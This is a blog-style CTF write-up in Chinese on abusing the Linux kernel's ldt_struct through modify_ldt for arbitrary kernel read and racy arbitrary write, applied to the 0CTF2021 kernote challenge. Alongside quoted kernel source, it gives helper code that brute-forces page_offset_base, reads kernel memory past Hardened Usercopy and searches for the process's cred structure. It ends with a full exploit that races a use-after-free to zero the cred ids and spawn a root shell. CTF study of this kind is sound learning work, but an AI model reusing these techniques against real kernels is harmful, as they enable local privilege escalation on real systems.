ldt_struct 任意地址读写&&0CTF2021-kernote

稳定的任意读和不稳定的任意写

ldt_struct kmalloc-16(slub)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#ifdef CONFIG_MODIFY_LDT_SYSCALL
/*
* ldt_structs can be allocated, used, and freed, but they are never
* modified while live.
*/
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;

/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

用户可以通过modify_ldt来读写ldt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

任意地址写

write_ldt会为ldt新增一个desc_struct条目,不过需要重新分配一个ldt结构并将旧的拷贝过去.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;

error = -EINVAL;
if (bytecount != sizeof(ldt_info))
goto out;
error = -EFAULT;
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;

error = -EINVAL;
if (ldt_info.entry_number >= LDT_ENTRIES)
goto out;
if (ldt_info.contents == 3) {
if (oldmode)
goto out;
if (ldt_info.seg_not_present == 0)
goto out;
}

if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
LDT_empty(&ldt_info)) {
/* The user wants to clear the entry. */
memset(&ldt, 0, sizeof(ldt));
} else {
if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
error = -EINVAL;
goto out;
}

fill_ldt(&ldt, &ldt_info);
if (oldmode)
ldt.avl = 0;
}

if (down_write_killable(&mm->context.ldt_usr_sem))
return -EINTR;

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;
finalize_ldt_struct(new_ldt);

/*
* If we are using PTI, map the new LDT into the userspace pagetables.
* If there is already an LDT, use the other slot so that other CPUs
* will continue to use the old LDT until install_ldt() switches
* them over to the new LDT.
*/
error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
if (error) {
/*
* This only can fail for the first LDT setup. If an LDT is
* already installed then the PTE page is already
* populated. Mop up a half populated page table.
*/
if (!WARN_ON_ONCE(old_ldt))
free_ldt_pgtables(mm);
free_ldt_struct(new_ldt);
goto out_unlock;
}

install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
error = 0;

out_unlock:
up_write(&mm->context.ldt_usr_sem);
out:
return error;
}

来看关键部分:

1
2
3
4
5
6
7
8
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;

new_ldt来自GFP_KERNEL的kmalloc,可以通过uaf获得其的读写能力.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
if (!new_ldt)
return NULL;

BUILD_BUG_ON(LDT_ENTRY_SIZE != sizeof(struct desc_struct));
alloc_size = num_entries * LDT_ENTRY_SIZE;

/*
* Xen is very picky: it requires a page-aligned LDT that has no
* trailing nonzero bytes in any page that contains LDT descriptors.
* Keep it simple: zero the whole allocation and never allocate less
* than PAGE_SIZE.
*/
if (alloc_size > PAGE_SIZE)
new_ldt->entries = vzalloc(alloc_size);
else
new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL);

if (!new_ldt->entries) {
kfree(new_ldt);
return NULL;
}

/* The new LDT isn't aliased for PTI yet. */
new_ldt->slot = -1;

new_ldt->nr_entries = num_entries;
return new_ldt;
}

在alloc_ldt_struct之后,memcpy和赋值语句的destination都是可以通过竞争写new_ldt来控制的,可以达到任意写的效果.
对于memcpy来说,需要两次uaf,分别控制old_ldt和new_ldt.缺点是竞争窗口在alloc_ldt_struct之后,极短.
对于赋值语句来说,只需控制new_ldt(ldt受来自user的ldt_info控制).缺点是由于一些检查and比较,ldt不完全可控,不过0是可以的.较大的old_nr_entries可以延长竞争窗口.
一般是用第二种

(使用ldt_struct进行竞争任意写极不稳定,主要还是用来读)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
#ifdef __x86_64__
/*
* Because this bit is not present in 32-bit user code, user
* programs can pass uninitialized values here. Therefore, in
* any context in which a user_desc comes from a 32-bit program,
* the kernel must act as though lm == 0, regardless of the
* actual value.
*/
unsigned int lm:1;
#endif
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static inline void fill_ldt(struct desc_struct *desc, const struct user_desc *info)
{
desc->limit0 = info->limit & 0x0ffff;

desc->base0 = (info->base_addr & 0x0000ffff);
desc->base1 = (info->base_addr & 0x00ff0000) >> 16;

desc->type = (info->read_exec_only ^ 1) << 1;
desc->type |= info->contents << 2;
/* Set the ACCESS bit so it can be mapped RO */
desc->type |= 1;

desc->s = 1;
desc->dpl = 0x3;
desc->p = info->seg_not_present ^ 1;
desc->limit1 = (info->limit & 0xf0000) >> 16;
desc->avl = info->useable;
desc->d = info->seg_32bit;
desc->g = info->limit_in_pages;

desc->base2 = (info->base_addr & 0xff000000) >> 24;
/*
* Don't allow setting of the lm bit. It would confuse
* user_64bit_mode and would get overridden by sysret anyway.
*/
desc->l = 0;
}

任意地址读

read_ldt可以读出ldt的中所有的desc_struct.
(这是能允许user读的么…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;

down_read(&mm->context.ldt_usr_sem);

if (!mm->context.ldt) {
retval = 0;
goto out_unlock;
}

if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;

entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
if (entries_size > bytecount)
entries_size = bytecount;

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

if (entries_size != bytecount) {
/* Zero-fill the rest and pretend we read bytecount bytes. */
if (clear_user(ptr + entries_size, bytecount - entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
}
retval = bytecount;

out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

关键部分:

1
2
3
4
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

还是像之前一样,在write_ldt时已经通过uaf获得了ldt的读写能力,于是便可以完成任意读.
但任意读通常受限于KASLR.

如何完成信息泄露绕过KASLR呢?可以利用copy_to_user对内核地址的检测(若不合法则返回错误码而不是panic),来不断爆破kernel .text段的基址以及page_offset_base(线性映射区基址).

不过由于Hardened Usercopy的开启,当爆破到text段时会触发保护导致kernel panic.
好在page_offset_base + 0x9d000有secondary_startup_64函数的地址,读出来即可.

还有一种绕过Hardened_usercopy的办法.将要读取的数据在内核空间中转移(从内核内核的转移)到不会触发Hardened Usercopy的地方,再读出来.
借用a3大神的图.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
struct ldt_struct *new_ldt;
int retval = 0;

if (!old_mm)
return 0;

mutex_lock(&old_mm->context.lock);
if (!old_mm->context.ldt)
goto out_unlock;

new_ldt = alloc_ldt_struct(old_mm->context.ldt->nr_entries);
if (!new_ldt) {
retval = -ENOMEM;
goto out_unlock;
}

memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);
finalize_ldt_struct(new_ldt);

retval = map_ldt_struct(mm, new_ldt, 0);
if (retval) {
free_ldt_pgtables(mm);
free_ldt_struct(new_ldt);
goto out_unlock;
}
mm->context.ldt = new_ldt;

out_unlock:
mutex_unlock(&old_mm->context.lock);
return retval;
}

关键部分:

1
2
3
4
5
6
7
8
new_ldt = alloc_ldt_struct(old_mm->context.ldt->nr_entries);
if (!new_ldt) {
retval = -ENOMEM;
goto out_unlock;
}

memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);

流程已经非常熟悉了,uaf改old_mm->context.ldt->entries为想读的地址,拷贝到new_ldt->entries处,由于该地址是vmalloc区的合法地址,不会触发Hardened_usercopy关于代码段或跨页的保护,再使用read_ldt读出即可.

例题 0CTF2021-kernote

内核菜单堆,能分配0x20字节的堆块(题目使用的slab分配器最小为0x20字节).可以额外保存一个并uaf写入8字节.

1
kmem_cache_alloc_trace(struct kmem_cache *cachep, gfp_t flags, size_t size)

在内核中小于等于0x20字节(再提一下,slab分配器最小堆块是0x20字节)的结构体中且能利用前8字节的常用有seq_operations,可以劫持控制流.但需要先获得内核地址.

这里使用0x10大小的ldt_struct来完成信息泄露.爆破线性映射区的地址,并搜索cred结构(为了搜索,先 pthread_setname_np来在struct cred的comm字段写入字符串).

1
2
3
4
5
6
7
8
9
10
LOG("Starting brute dma base");
page_offset_base = ldt_guessing_direct_mapping_area(create_uaf,0,editNote,0,0x4000000);
HEX(page_offset_base);

LOG("Starting to Search struct cred");
pthread_setname_np(pthread_self(),"HanQi..");
serach_config sc = {.bufferSize=0x8000,.searchString="HanQi..",.searchStringsize=8,.debug=0,.constraint=is_cred_comm};
ldt_seeking_memory(editNote,0,page_offset_base,memsearch,&sc);
cred_addr = sc.Addtional;
HEX(cred_addr);

使用了a3大神的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
/**
* @brief burte-force hitting page_offset_base by modifying ldt_struct
*
* @param ldt_cracker function to make the ldt_struct modifiable
* @param cracker_args args of ldt_cracker
* @param ldt_momdifier function to modify the ldt_struct->entries
* @param momdifier_args args of ldt_momdifier
* @param burte_size size of each burte-force hitting
* @return size_t address of page_offset_base
*/
size_t ldt_guessing_direct_mapping_area(void *(*ldt_cracker)(void*),
void *cracker_args,
void *(*ldt_momdifier)(void*, size_t),
void *momdifier_args,
uint64_t burte_size)
{
struct user_desc desc;
uint64_t page_offset_base = 0xffff888000000000;
uint64_t temp;
char *buf;
int retval;

/* init descriptor info */
init_desc(&desc);

/* make the ldt_struct modifiable */
ldt_cracker(cracker_args);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

/* leak kernel direct mapping area by modify_ldt() */
while(1) {
ldt_momdifier(momdifier_args, page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &temp, 8);
if (retval > 0) {
break;
}
else if (retval == 0) {
printf("[x] no mm->context.ldt!");
page_offset_base = -1;
break;
}
page_offset_base += burte_size;
}

return page_offset_base;
}

/**
* @brief read the contents from a specific kernel memory.
* Note that we should call ldtGuessingDirectMappingArea() firstly,
* and the function should be used in that caller process
*
* @param ldt_momdifier function to modify the ldt_struct->entries
* @param momdifier_args args of ldt_momdifier
* @param addr address of kernel memory to read
* @param res_buf buf to be written the data from kernel memory
*/
void ldt_arbitrary_read(void *(*ldt_momdifier)(void*, size_t),
void *momdifier_args, size_t addr, char *res_buf)
{
static char buf[0x8000];
struct user_desc desc;
uint64_t temp;
int pipe_fd[2];

/* init descriptor info */
init_desc(&desc);

/* modify the ldt_struct->entries to addr */
ldt_momdifier(momdifier_args, addr);

/* read data by the child process */
pipe(pipe_fd);
if (!fork()) {
/* child */
syscall(SYS_modify_ldt, 0, buf, 0x8000);
write(pipe_fd[1], buf, 0x8000);
exit(0);
} else {
/* parent */
wait(NULL);
read(pipe_fd[0], res_buf, 0x8000);
}

close(pipe_fd[0]);
close(pipe_fd[1]);
}

/**
* @brief seek specific content in the memory.
* Note that we should call ldtGuessingDirectMappingArea() firstly,
* and the function should be used in that caller process
*
* @param ldt_momdifier function to modify the ldt_struct->entries
* @param momdifier_args args of ldt_momdifier
* @param page_offset_base the page_offset_base we leakked before
* @param mem_finder your own function to search on a 0x8000-bytes buf.
* It should be like `size_t func(void *args, char *buf)` and the `buf`
* is where we store the data from kernel in ldt_seeking_memory().
* The return val should be the offset of the `buf`, `-1` for failure
* @param finder_args your own function's args
* @return size_t kernel addr of content to find, -1 for failure
*/
size_t ldt_seeking_memory(void *(*ldt_momdifier)(void*, size_t),
void *momdifier_args, uint64_t page_offset_base,
size_t (*mem_finder)(void*, char *), void *finder_args)
{
static char buf[0x8000];
size_t search_addr, result_addr = -1, offset;

search_addr = page_offset_base;

while (1) {
ldt_arbitrary_read(ldt_momdifier, momdifier_args, search_addr, buf);

offset = mem_finder(finder_args, buf);
if (offset != -1) {
result_addr = search_addr + offset;
break;
}

search_addr += 0x8000;
}

return result_addr;
}

接下来只用将cred的euid,egid写为0即可.这一部分注意事项挺多.

首先,由于write_ldt或进程退出会释放当前ldt_struct及其entries,而之前在搜索时我们的entries已经被修改成了一个不合法的位置,释放会导致kernel panic.所以我们不能在当前进程进行操作,而是fork出一个子进程A,且保证当前进程不会退出.

第二,由于我们搜到的cred结构是当前进程(线程)的,所以最后起shell还是应该使用主进程.那么我们需要再次fork一个进程来进行修改ldt_entries进行竞争,记作B.

第三,由于要让A取到B制造的uaf,需要首先绑定到同一个CPU.又由于要竞争,需要在制造uaf后将B绑定到另一个CPU(暂未验证单个CPU的多个进程能否在内核中发生竞争,之后会看些Linux进线程调度的东西).顺便提一句,制造uaf要在fork之后,否则fork过程中会使用uaf出的堆块.

第四,由于内核中对0x20的堆块分配还是比较多的,经验证(指查看官方wp,笔者还未找到较好的计算方法,目前的想法是通过gdb插件dump出当前cpu_cache的free_list再比较最终获得的地址)write_ldt会分配到id为11的堆块.

最后就是调整时序来提高条件竞争的命中率?(ps:经测进程间信号量在sem_post时会炸).

EXP

这个竞争窗口确实很短,笔者这个脚本爆了近200次才打通,一直以为哪里写错了.可以设置一次old_nr_entries为8000增大竞争时间,改了后出过一次14次打通.
(官方wp稳定在30-50次,应该是时序控制的问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include <kernelpwn.h>

void addNote(int idx)
{
ioctl(dev_fd,0x6667,idx);
}

void delNote(int idx)
{
ioctl(dev_fd,0x6668,idx);
}

void chooseNote(int idx)
{
ioctl(dev_fd,0x6666,idx);
}


void editNote(size_t dummy,size_t value)
{
ioctl(dev_fd,0x6669,value);
}

void create_uaf(size_t idx)
{
addNote(idx);
chooseNote(idx);
delNote(idx);
}

typedef struct serach_config
{
size_t bufferSize;
const char* searchString;
size_t searchStringsize;
size_t Addtional;
int (*constraint)(size_t* searchStringAddr);
int debug;
}serach_config;

int is_cred_comm(size_t* result_addr)
{
if (result_addr \
&& (result_addr[-2] > page_offset_base) \
&& (result_addr[-3] > page_offset_base) \
&& (((int) result_addr[-58]) == getpid()))
return 1;
else
return 0;
}

size_t memsearch(serach_config* sc,const char* buffer) {

size_t* result_addr = (size_t*)memmem(buffer,sc->bufferSize,sc->searchString,sc->searchStringsize);

if(sc->debug)
{
if(result_addr)
HEX(result_addr);
}

if(sc->constraint(result_addr))
{
LOG("Found Target membytes");
sc->Addtional = result_addr[-2];
return (char*)result_addr-buffer;
}

else
return -1;
}

size_t cred_addr;

int main()
{
setvbuf(stdout,_IONBF,0,0);
save_status();
bind_core(0);

int ttyfd = open("/dev/ptmx",O_RDWR);

if((dev_fd = open("/dev/kernote",O_RDWR))<0)
{
err_exit("open device");
}

LOG("Starting brute dma base");
page_offset_base = ldt_guessing_direct_mapping_area(create_uaf,0,editNote,0,0x4000000);
HEX(page_offset_base);

LOG("Starting to Search struct cred1");
pthread_setname_np(pthread_self(),"HanQi..");
serach_config sc = {.bufferSize=0x8000,.searchString="HanQi..",.searchStringsize=8,.debug=0,.constraint=is_cred_comm};
ldt_seeking_memory(editNote,0,page_offset_base,memsearch,&sc);
cred_addr = sc.Addtional;
HEX(cred_addr);

struct user_desc desc;
desc.base_addr = 0;
desc.entry_number = 2;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

LOG("Try to modify cred");
pthread_t modify_thr;

editNote(0,cred_addr+4);
int retval=fork();
if(!retval)
{
retval = fork();
if(!retval)
{
//child child
bind_core(0);
sleep(1);
for(int i = 0;i<15;++i)
addNote(i);
chooseNote(11);
for(int i = 0;i<15;++i)
delNote(i);
bind_core(1);
while (1)
editNote(0,cred_addr+4);
}
else
{
//child
bind_core(0);
sleep(3);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
sleep(200);
}

}
else
{
sleep(5);
printf("%d\n",geteuid());
setreuid(0,0);
setregid(0,0);
get_root_shell();
}
return 0;
}

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信